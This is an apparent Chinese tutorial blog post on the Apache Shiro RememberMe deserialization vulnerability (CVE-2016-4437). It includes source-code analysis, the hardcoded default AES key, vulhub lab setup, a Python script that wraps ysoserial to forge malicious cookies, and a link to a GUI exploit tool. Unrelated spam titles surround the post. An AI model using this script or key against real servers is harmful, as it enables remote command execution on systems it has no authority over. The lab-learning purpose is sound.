当前位置: 首页 > news >正文

网站建设新闻稿设计得很好的企业网站

网站建设新闻稿,设计得很好的企业网站,博物馆装饰设计公司,小程序可以用手机网站吗//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

//发点去年存货

前言

apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie,服务端反序列化时触发漏洞,从而执行命令。
影响版本如下:

Apache shiro <= 1.2.4

下面我们展开来讲讲该漏洞是如何利用的。

利用

在服务器接受带有shiro框架的服务请求时,cookie会经过以下几个步骤:

1.服务器会先检索RememberMe cookie的值
2.之后进行base64解码
3.接着使用aes解码
4.最后进行反序列化操作

其中AES加密cookie的值时利用的是加密密钥硬编码,也就是说有一定几率的可以进行破解,因此可能存在伪造cookie来进行恶意反序列化的攻击。
下面我们具体分析一下,先看org/apache/shiro/mgt/DefaultSecurityManager.java:
里面有一个方法叫getRememberedSerializedIdentity ,简单看一下就是:
在这里插入图片描述可以看到里面获取了请求的cookie值再进行了base64编码,于是我们接着看谁调用了它,于是找到了getRememberedPrincipals

在这里插入图片描述将解码后信息放进了一个数组里,然后使用了这个名为convertbytestoprincipals方法去处理,继续跟进了,发现该方法对信息进行了decrypt解密,继续跟进一下:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

可以看到这是一个获取加密再进行解密的过程,我们跟进getDecryptionCipherKey() ,根据返回值一直跟进到setCipherKey ,发现:

setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

我们找到了这个固定的加密的key:

在这里插入图片描述那我们如何进行反序列化呢,这里需要回到convertbytestoprincipals:

在这里插入图片描述跟进deserialize,发现了两个实现方法,而且都是调用的原生readobject:

在这里插入图片描述

实例

这里以一个例题为例,我们先搭建个靶机:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

进入靶机的页面就是一个带有记住功能的登陆页面:

在这里插入图片描述抓包后改cookie值发现返回了以下数据,rememberme=deleteme,也就说明可能存在漏洞:

在这里插入图片描述这里贴一个基于YSOSERIAL反序列化工具的python脚本:

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

生成后替换cookie即可,当然也有图形化页面的攻击方法:

项目地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

页面如下,输入要检测的ip地址设置攻击方法即可,非常方便:

在这里插入图片描述选择检测方式后会进行检测,如果出现find valid gadget就说明可以利用,我们就可以从工具上输入我们要执行的漏洞了。

结语

简单带大家总结了一下shiro550反序列化漏洞,不知道大家学习的怎么样了,简单来看shiro框架命令执行的的执行流程可以简单概括为:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值,我们根据上面源码的分析以及它硬编码的特性,便可以进行攻击,当然这只是最简单的利用,我们也可以结合其他利用链来构造攻击链接,有兴趣的小伙伴可以自己去尝试一下。

http://www.yayakq.cn/news/984729/

相关文章:

  • WordPress网站远程访问网站建设图片素材
  • 怎么搭建网站平台商城网站哪个公司做的好
  • mvc5 网站开发美学 pdf网站建设公司兴田德润专业
  • 嘉兴网站建设哪家做得好仿什么值得买wordpress
  • 做网站点击挣钱不手机微网站开发书籍
  • 想做个网站 怎么做ar做网站
  • 云南免费网站建设wordpress导航下拉
  • 鄂州手机网站建设网站建设的实训报告
  • 手机网站特效代码wordpress前台显示中文怎么办
  • 10m光纤做网站前端开发是做网站的吗
  • 个人网站的搭建wordpress禁止截屏
  • 网站备案表格设计网站大概多少钱
  • 网站开发时图片加载慢怎么解决网站建设公司导航
  • 过时的网站网站建设架构 服务器
  • 先备案 做网站网站推广公司兴田德润官网多少
  • 电脑网站转换成手机网站招商网站大全五金电器
  • 上线了怎么建网站前端开发工程师的工作内容
  • 佛山销售型网站建设免费域名申请国外
  • 成都sw网站建设防止网站被采集
  • 做网站还是博客天猫建设网站的目的
  • 海南创作什么网站php网站开发哪个好
  • 医院网站建设要求打开2345网址
  • 网站建设公司 长春百度招聘官网首页
  • visual制作网站开发做家电网是什么网站
  • 开网站需要哪些程序网站上线如何做公司名字
  • 视觉差的网站山东滕州做网站技术电话
  • 广告网站开发背景自己网站开发
  • 烟台制作网站的公司哪家好wordpress商城手册
  • 照片展示网站模板免费下载企业管理系统包括哪些
  • 富德生命人寿保险公司官方网站济南企业建设网站